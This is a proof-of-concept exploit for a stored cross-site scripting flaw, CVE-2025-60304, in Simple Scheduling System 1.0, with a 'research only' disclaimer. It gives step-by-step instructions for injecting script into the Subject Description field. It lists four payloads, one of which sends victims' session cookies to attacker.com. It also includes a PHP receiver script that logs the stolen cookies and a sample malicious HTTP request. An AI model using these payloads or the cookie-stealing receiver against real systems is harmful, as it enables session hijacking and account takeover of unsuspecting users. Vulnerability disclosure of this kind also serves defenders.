The following code is for security research and authorized testing only.
python
<!-- CVE-2025-60304 - Stored XSS PoC for code-projects Simple Scheduling System 1.0 -->
<!-- Vulnerability Location: Subject Description field -->
<!-- Step 1: Login to Simple Scheduling System as an authenticated user -->
<!-- Step 2: Navigate to the Subject Management module -->
<!-- Step 3: Create or edit a Subject and inject the following payload into the Subject Description field -->
<!-- Payload 1: Basic Cookie Stealing -->
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
<!-- Payload 2: Alert Box (Proof of Concept) -->
<script>alert('XSS by CVE-2025-60304')</script>
<!-- Payload 3: Using img tag with onerror event -->
<img src=x onerror="alert(document.domain)">
<!-- Payload 4: Using svg tag -->
<svg/onload=alert(1)>
<!-- Step 4: Save the Subject entry -->
<!-- Step 5: When any victim user views the Subject details page, the malicious script will execute automatically -->
<!-- Step 6: Attacker's server (e.g., steal.php) will receive the victim's session cookie -->
<!-- steal.php (Attacker's receiver script) -->
<?php
$cookie = $_GET['cookie'];
$log = fopen("stolen_cookies.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>
<!-- HTTP Request Example (Simplified) -->
POST /simple-scheduling/subject/add HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=authenticated_session
subject_name=Mathematics&subject_description=<script>alert(document.cookie)</script>&submit=Add